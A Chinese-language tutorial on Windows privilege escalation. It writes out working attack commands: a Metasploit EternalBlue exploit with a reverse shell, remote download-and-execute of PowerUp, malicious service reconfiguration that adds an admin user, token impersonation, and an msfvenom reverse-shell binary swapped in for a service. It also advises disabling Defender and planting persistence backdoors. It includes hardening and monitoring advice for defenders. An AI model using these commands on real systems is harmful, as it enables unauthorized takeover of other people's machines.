1. Windows权限提升基础概念解析

权限提升（Privilege Escalation）是Windows系统安全中至关重要的概念，简单来说就是从低权限账户获取更高权限账户（如Administrator或SYSTEM）控制权的过程。在渗透测试和系统维护中，这既是攻击者的目标，也是管理员必须防范的风险点。

1.1 为什么需要权限提升

日常使用Windows时，我们经常会遇到以下场景：

• 安装软件时需要管理员权限
• 修改系统关键配置被拒绝访问
• 查看某些敏感文件时出现权限错误

这些情况本质上都是权限管控在起作用。Windows通过用户账户控制（UAC）和访问控制列表（ACL）等机制，确保每个用户只能在其权限范围内操作。

1.2 权限等级划分

Windows系统主要存在以下几个权限层级：

1. 普通用户(User)：最基本的权限，只能操作个人文件和部分非系统设置
2. 管理员(Administrator)：可修改系统设置、安装软件等
3. 系统(System)：最高权限，相当于Windows系统本身
4. 受信任安装程序(TrustedInstaller)：某些系统文件的特殊所有者

实际测试中发现，即使是Administrator账户，某些操作仍需要特别提权。这是因为Windows引入了完整性级别(IL)机制，不同进程有不同的信任等级。

2. 常见权限提升方法详解

2.1 利用系统漏洞提权

这是最经典的提权方式，通过系统未修补的漏洞获取更高权限。常见漏洞包括：

MS17-010(永恒之蓝)

# 使用Metasploit框架利用示例 use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.100 set PAYLOAD windows/x64/meterpreter/reverse_tcp exploit

CVE-2021-34527(PrintNightmare)打印后台处理程序漏洞，允许远程代码执行。利用时需要特别注意：

• 不同系统版本利用方式不同
• 补丁后仍可能存在绕过方式
• 可能触发防病毒软件警报

2.2 服务配置不当提权

Windows服务如果配置不当，可能成为提权的捷径：

不安全的服务权限

# 检查服务权限 sc.exe qc 服务名 accesschk.exe -uwcqv "普通用户" * # 如果对服务有修改权限 sc.exe config 服务名 binPath= "net user hacker Password123 /add" sc.exe start 服务名

可执行文件替换找到以SYSTEM权限运行的服务，如果其调用的可执行文件可以被普通用户修改，就能实现提权。

2.3 计划任务利用

检查系统计划任务是否有以高权限运行的：

schtasks /query /fo LIST /v

如果发现某个任务：

1. 以SYSTEM或Administrator运行
2. 执行的操作或脚本可被修改
3. 运行频率较高（如每分钟）

就可以考虑替换相关脚本实现提权。

3. 自动化提权工具实战

3.1 PowerUp.ps1

PowerShell Empire项目的经典工具：

# 导入脚本 IEX (New-Object Net.WebClient).DownloadString('http://<your_server>/PowerUp.ps1') # 检查所有可能的提权路径 Invoke-AllChecks # 特定功能示例：服务提权 Write-ServiceBinary -ServiceName "VulnerableService" -Command "net localgroup administrators 普通用户 /add"

3.2 WinPEAS

Windows Privilege Escalation Awesome Script：

# 基本扫描 winpeas.exe # 详细扫描 winpeas.exe cmd fast # 重点关注： # - 已安装的软件版本 # - 服务配置 # - 计划任务 # - 凭证存储

3.3 Metasploit本地提权模块

在已获得meterpreter会话后：

# 列举可能的提权漏洞 run post/multi/recon/local_exploit_suggester # 尝试特定模块 use exploit/windows/local/bypassuac_eventvwr set SESSION 1 exploit

4. 权限提升防御方案

4.1 系统加固措施

1. 及时更新补丁

   # 检查已安装补丁 Get-Hotfix | Format-Table -AutoSize # 检查缺失补丁 wmic qfe list full /format:table

2. 服务权限最小化

   • 所有服务使用最低必要权限运行
   • 定期审计服务配置

3. UAC最高级别

   Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System] "EnableLUA"=dword:00000001 "ConsentPromptBehaviorAdmin"=dword:00000002

4.2 监控与检测

可疑行为监控点：

• 非管理员用户尝试修改服务配置
• 计划任务的异常创建/修改
• 敏感目录（如System32）的可执行文件变更
• 突然出现的特权用户账户

实用监控命令：

# 监控进程创建 Get-WinEvent -FilterHashtable @{LogName='Security';ID=4688} -MaxEvents 10 # 监控用户组变更 Get-WinEvent -FilterHashtable @{LogName='Security';ID=4728,4732,4756} -MaxEvents 10

5. 高级提权技术与疑难解答

5.1 令牌模拟攻击

当获得某个高权限进程的令牌时：

# 列出所有进程令牌 Invoke-TokenManipulation -ShowAll # 模拟SYSTEM令牌 Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"

5.2 DLL劫持技术

1. 使用Process Monitor查找DLL加载顺序问题
2. 识别可写目录中缺失的DLL
3. 编译恶意DLL并放置在适当位置
4. 等待目标进程重新启动

5.3 常见错误排查

问题1：提权exp编译不成功

• 确保使用目标系统相同架构编译（x86/x64）
• 静态链接运行时库（/MT参数）
• 考虑使用交叉编译

问题2：执行后没反应

• 检查防病毒软件是否拦截
• 尝试不同的注入技术（如APC注入）
• 使用Process Explorer查看线程情况

问题3：提权成功后权限丢失

• 可能是令牌被重置
• 考虑创建持久化后门
• 使用runas保存凭证

6. 实战案例：从普通用户到SYSTEM

假设我们已经通过某种方式获得了一个普通用户shell：

1. 信息收集

   whoami /all systeminfo net user %username%

2. 查找可利用的服务

   Get-WmiObject win32_service | Select-Object Name,State,PathName,StartMode | Where-Object {$_.StartMode -eq "Auto" -and $_.State -eq "Running"}

3. 发现配置不当的服务

   Name : VulnerableService PathName : "C:\Program Files\VulnerableApp\service.exe" -s StartMode : Auto

4. 检查服务权限

   icacls "C:\Program Files\VulnerableApp\service.exe"

5. 替换服务二进制文件

   msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o service.exe

6. 重启服务获取SYSTEM shell

   sc stop VulnerableService sc start VulnerableService

在渗透测试过程中，我经常发现很多管理员忽略了服务二进制文件的权限设置。一个简单的icacls命令检查就能预防这类问题。另外，Windows Defender现在对这类替换操作监控很严格，实际操作中可能需要先禁用实时保护或使用更隐蔽的技术。